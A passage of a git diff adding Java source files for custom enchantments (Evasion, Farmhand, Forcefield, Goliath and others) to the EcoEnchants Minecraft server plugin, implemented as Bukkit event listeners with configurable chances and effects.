diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Evasion.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Evasion.java new file mode 100644 index 00000000..b9da105e --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Evasion.java @@ -0,0 +1,43 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageEvent; + +@SuppressWarnings("deprecation") +public class Evasion extends EcoEnchant { + public Evasion() { + super( + new EcoEnchantBuilder("evasion", EnchantmentType.NORMAL, Target.Applicable.ARMOR, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onEvasionHurt(EntityDamageEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + Player player = (Player) event.getEntity(); + + int totalEvasionPoints = HasEnchant.getArmorPoints(player, this, true); + + if (totalEvasionPoints == 0) + return; + + double chance = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-point"); + + if (Rand.randFloat(0, 1) > totalEvasionPoints * 0.01 * chance) + return; + + event.setCancelled(true); + } + +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Extinguishing.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Extinguishing.java new file mode 100644 index 00000000..3915163b --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Extinguishing.java @@ -0,0 +1,45 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageEvent; + +@SuppressWarnings("deprecation") +public class Extinguishing extends EcoEnchant { + public Extinguishing() { + super( + new EcoEnchantBuilder("extinguishing", EnchantmentType.NORMAL, Target.Applicable.ARMOR, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onExtinguishingHurt(EntityDamageEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + if (!event.getCause().equals(EntityDamageEvent.DamageCause.FIRE_TICK)) + return; + + Player player = (Player) event.getEntity(); + + int totalExtinguishingPoints = HasEnchant.getArmorPoints(player, this, false); + + if (totalExtinguishingPoints == 0) + return; + + double chance = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-point"); + if (Rand.randFloat(0, 1) > totalExtinguishingPoints * 0.01 * chance) + return; + + player.setFireTicks(0); + } + +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Extract.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Extract.java new file mode 100644 index 00000000..dfbafbd9 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Extract.java @@ -0,0 +1,63 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.nms.TridentStack; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.attribute.Attribute; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.entity.Trident; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.inventory.ItemStack; + +@SuppressWarnings("deprecation") +public class Extract extends EcoEnchant { + public Extract() { + super( + new EcoEnchantBuilder("extract", EnchantmentType.NORMAL, Target.Applicable.TRIDENT, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void extractHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Trident)) + return; + + if(!(((Trident) event.getDamager()).getShooter() instanceof Player)) + return; + + if (!(event.getEntity() instanceof LivingEntity)) + return; + + if (event.isCancelled()) + return; + + Player player = (Player) ((Trident) event.getDamager()).getShooter(); + Trident trident = (Trident) event.getDamager(); + ItemStack item = TridentStack.getTridentStack(trident); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.item(item, this)) return; + + int level = HasEnchant.getItemLevel(item, this); + + double damage = event.getDamage(); + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-multiplier-per-level"); + double amountToHeal = damage * level * multiplier; + double newHealth = player.getHealth() + amountToHeal; + if (newHealth > player.getAttribute(Attribute.GENERIC_MAX_HEALTH).getValue()) { + newHealth = player.getAttribute(Attribute.GENERIC_MAX_HEALTH).getValue(); + } + player.setHealth(newHealth); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Famine.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Famine.java new file mode 100644 index 00000000..e3a70246 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Famine.java @@ -0,0 +1,56 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +@SuppressWarnings("deprecation") +public class Famine extends EcoEnchant { + public Famine() { + super( + new EcoEnchantBuilder("famine", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + if (Cooldown.getCooldown(player) != 1.0f && !this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "allow-not-fully-charged")) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + + if (Rand.randFloat(0, 1) > level * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")) + return; + + victim.addPotionEffect(new PotionEffect(PotionEffectType.HUNGER, level * 40, level)); + victim.addPotionEffect(new PotionEffect(PotionEffectType.SLOW_DIGGING, level * 40, level)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Farmhand.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Farmhand.java new file mode 100644 index 00000000..29c58282 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Farmhand.java @@ -0,0 +1,86 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.*; +import org.bukkit.Location; +import org.bukkit.Material; +import org.bukkit.block.Block; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.block.Action; +import org.bukkit.event.player.PlayerInteractEvent; +import org.bukkit.inventory.ItemStack; +import org.bukkit.util.Vector; + +@SuppressWarnings("deprecation") +public class Farmhand extends EcoEnchant { + public Farmhand() { + super( + new EcoEnchantBuilder("farmhand", EnchantmentType.NORMAL, Target.Applicable.HOE, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onTill(PlayerInteractEvent event) { + Player player = event.getPlayer(); + + if (!event.getAction().equals(Action.RIGHT_CLICK_BLOCK)) + return; + + if (event.getClickedBlock() == null) + return; + + if (!(event.getClickedBlock().getType().equals(Material.DIRT) || event.getClickedBlock().getType().equals(Material.GRASS_BLOCK))) + return; + + ItemStack item = event.getItem(); + + if (!HasEnchant.item(item, this)) return; + + if (!(Target.Applicable.HOE.getMaterials().contains(item.getType()))) + return; + + if(!AntiGrief.canBreakBlock(player, event.getClickedBlock())) return; + + event.getClickedBlock().setType(Material.FARMLAND); + int initial = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "initial-radius"); + int levelrad = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "per-level-radius"); + int radius = initial + (HasEnchant.getItemLevel(item, this) - 1) * levelrad; + Vector[] vecs; + + if (this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "use-cube")) { + vecs = Cube.getCube(radius); + } else { + vecs = Square.getSquare(radius); + } + + if (!this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "per-block-damage")) { + + ItemDurability.damageItem(player, player.getInventory().getItemInMainHand(), 1, player.getInventory().getHeldItemSlot()); + } + + for (Vector vec : vecs) { + Location loc = event.getClickedBlock().getLocation().add(vec); + Block block = event.getClickedBlock().getWorld().getBlockAt(loc); + + if(!AntiGrief.canBreakBlock(player, block)) continue; + + if (!(block.getType().equals(Material.DIRT) || block.getType().equals(Material.GRASS_BLOCK))) + continue; + + if (!block.getWorld().getBlockAt(loc.add(0, 1, 0)).getType().equals(Material.AIR)) + continue; + + block.setType(Material.FARMLAND); + if (this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "per-block-damage")) { + + ItemDurability.damageItem(player, player.getInventory().getItemInMainHand(), 1, player.getInventory().getHeldItemSlot()); + } + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Finishing.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Finishing.java new file mode 100644 index 00000000..9e4fddea --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Finishing.java @@ -0,0 +1,43 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Finishing extends EcoEnchant { + public Finishing() { + super( + new EcoEnchantBuilder("finishing", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void finishingHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + int level = HasEnchant.getPlayerLevel(player, this); + + double minhealth = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "minimum-health-per-level"); + if (!(((LivingEntity) event.getEntity()).getHealth() <= level * minhealth)) + return; + + event.setDamage(10000); // cba to do this properly + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/FireAffinity.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/FireAffinity.java new file mode 100644 index 00000000..43133734 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/FireAffinity.java @@ -0,0 +1,44 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class FireAffinity extends EcoEnchant { + public FireAffinity() { + super( + new EcoEnchantBuilder("fire_affinity", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.01) + ); + } + + // START OF LISTENERS + + @EventHandler + public void fireAffinityHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if(player.getFireTicks() == 0) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "percent-more-per-level"); + + double finalMultiplier = (multiplier/100 * level) + 1; + + event.setDamage(event.getDamage() * finalMultiplier); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/FirstStrike.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/FirstStrike.java new file mode 100644 index 00000000..5d5aa144 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/FirstStrike.java @@ -0,0 +1,45 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.attribute.Attribute; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class FirstStrike extends EcoEnchant { + public FirstStrike() { + super( + new EcoEnchantBuilder("first_strike", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void firstStrikeHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if (!(((LivingEntity) event.getEntity()).getHealth() == ((LivingEntity) event.getEntity()).getAttribute(Attribute.GENERIC_MAX_HEALTH).getValue())) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double damagemultiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-multiplier-per-level"); + event.setDamage(event.getDamage() * ((level * damagemultiplier) + 1)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Flinch.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Flinch.java new file mode 100644 index 00000000..e74ef27f --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Flinch.java @@ -0,0 +1,60 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +@SuppressWarnings("deprecation") +public class Flinch extends EcoEnchant { + public Flinch() { + super( + new EcoEnchantBuilder("flinch", EnchantmentType.NORMAL, Target.Applicable.SHIELD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onFlinch(EntityDamageByEntityEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + if (!(event.getDamager() instanceof LivingEntity)) + return; + + Player player = (Player) event.getEntity(); + + LivingEntity victim = (LivingEntity) event.getDamager(); + + if(!player.isBlocking()) return; + + if(victim instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + int level; + if (!HasEnchant.playerOffhand(player, this) && !HasEnchant.playerHeld(player, this)) return; + if(HasEnchant.playerOffhand(player, this)) level = HasEnchant.getPlayerOffhandLevel(player, this); + else level = HasEnchant.getPlayerLevel(player, this); + + double chance = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level"); + int duration = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "ticks-per-level"); + + double finalChance = (chance * level)/100; + if(Rand.randFloat(0, 1) > finalChance) return; + + int finalDuration = duration * level; + + victim.addPotionEffect(new PotionEffect(PotionEffectType.BLINDNESS, finalDuration, 1, false, false, false)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Forcefield.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Forcefield.java new file mode 100644 index 00000000..02c9e7d1 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Forcefield.java @@ -0,0 +1,46 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.task.EcoRunnable; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Entity; +import org.bukkit.entity.Monster; + +@SuppressWarnings("deprecation") +public class Forcefield extends EcoEnchant implements EcoRunnable { + public Forcefield() { + super( + new EcoEnchantBuilder("forcefield", EnchantmentType.NORMAL, Target.Applicable.ARMOR, 4.0) + ); + } + + @Override + public void run() { + Main.getInstance().getServer().getOnlinePlayers().stream().filter(player -> HasEnchant.getArmorPoints(player, EcoEnchants.FORCEFIELD, false) > 0).forEach((player -> { + int level = HasEnchant.getArmorPoints(player, EcoEnchants.FORCEFIELD, false); + + double initialDistance = EcoEnchants.FORCEFIELD.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "initial-distance"); + double bonus = EcoEnchants.FORCEFIELD.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "bonus-per-level"); + double distance = initialDistance + (level * bonus); + double damagePerPoint = EcoEnchants.FORCEFIELD.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-per-level"); + final double damage = damagePerPoint * level; + + for (Entity e : player.getWorld().getNearbyEntities(player.getLocation(), distance, 2.0d, distance)) { + if(!(e instanceof Monster)) continue; + + ((Monster) e).damage(damage, player); + + HasEnchant.getArmorPoints(player, EcoEnchants.FORCEFIELD, true); + } + })); + } + + @Override + public long getTime() { + return this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "repeat-ticks"); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Freerunner.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Freerunner.java new file mode 100644 index 00000000..875a1ded --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Freerunner.java @@ -0,0 +1,43 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageEvent; + +@SuppressWarnings("deprecation") +public class Freerunner extends EcoEnchant { + public Freerunner() { + super( + new EcoEnchantBuilder("freerunner", EnchantmentType.NORMAL, Target.Applicable.BOOTS, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onDamage(EntityDamageEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + if(!event.getCause().equals(EntityDamageEvent.DamageCause.FALL)) + return; + + Player player = (Player) event.getEntity(); + + if(!HasEnchant.playerBoots(player, this)) return; + int level = HasEnchant.getPlayerBootsLevel(player, this); + + double chance = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level"); + + if (Rand.randFloat(0, 1) > level * 0.01 * chance) + return; + + event.setCancelled(true); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Frozen.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Frozen.java new file mode 100644 index 00000000..964aa718 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Frozen.java @@ -0,0 +1,55 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.Bukkit; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; + +@SuppressWarnings("deprecation") +public class Frozen extends EcoEnchant { + public Frozen() { + super( + new EcoEnchantBuilder("frozen", EnchantmentType.NORMAL, Target.Applicable.ARMOR, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHurt(EntityDamageByEntityEvent event) { + if (!(event.getEntity() instanceof Player)) + return; + + if (!(event.getDamager() instanceof LivingEntity)) + return; + + Player player = (Player) event.getEntity(); + LivingEntity victim = (LivingEntity) event.getDamager(); + + final int points = HasEnchant.getArmorPoints(player, this, true); + + if (points == 0) + return; + + if (Rand.randFloat(0, 1) > points * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-point")) + return; + + int divisor = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "points-per-level"); + final int level = (int) Math.ceil((double) points / divisor); + + Bukkit.getScheduler().runTaskLater(Main.getInstance(), () -> { + victim.addPotionEffect(new PotionEffect(PotionEffectType.SLOW, points * 5, level)); + victim.addPotionEffect(new PotionEffect(PotionEffectType.SLOW_DIGGING, points * 5, level)); + }, 1); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Fury.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Fury.java new file mode 100644 index 00000000..99cb3465 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Fury.java @@ -0,0 +1,71 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Cooldown; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.LocationUtils; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.*; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.util.Vector; + +@SuppressWarnings("deprecation") +public class Fury extends EcoEnchant { + public Fury() { + super( + new EcoEnchantBuilder("fury", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + if (Cooldown.getCooldown(player) != 1.0f && !this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "allow-not-fully-charged")) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + + if (Rand.randFloat(0, 1) > level * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")) + return; + + double distancePerLevel = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "distance-per-level"); + final double distance = distancePerLevel * level; + + for (Entity e : victim.getWorld().getNearbyEntities(victim.getLocation(), distance, distance, distance)) { + if(!(e instanceof Monster)) continue; + + if(e instanceof PigZombie) { + ((PigZombie) e).setAngry(true); + } + + ((Monster) e).setTarget(victim); + + Vector vector = player.getLocation().toVector().clone().subtract(e.getLocation().toVector()).normalize().multiply(0.23d); + + if(LocationUtils.isFinite(vector)) { + e.setVelocity(vector); + } + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Goliath.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Goliath.java new file mode 100644 index 00000000..5cd8cd21 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Goliath.java @@ -0,0 +1,46 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.attribute.Attribute; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Goliath extends EcoEnchant { + public Goliath() { + super( + new EcoEnchantBuilder("goliath", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void goliathHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if (victim.getHealth() <= player.getAttribute(Attribute.GENERIC_MAX_HEALTH).getValue()) + return; + + int level = HasEnchant.getPlayerLevel(player, this); + double timesMoreHealth = victim.getHealth() / player.getAttribute(Attribute.GENERIC_MAX_HEALTH).getValue(); + + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-multiplier-per-level"); + event.setDamage(event.getDamage() * ((level * multiplier * timesMoreHealth) + 1)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Grapple.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Grapple.java new file mode 100644 index 00000000..e0f9452b --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Grapple.java @@ -0,0 +1,50 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.util.Vector; + +@SuppressWarnings("deprecation") +public class Grapple extends EcoEnchant { + public Grapple() { + super( + new EcoEnchantBuilder("grapple", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.SWORD, 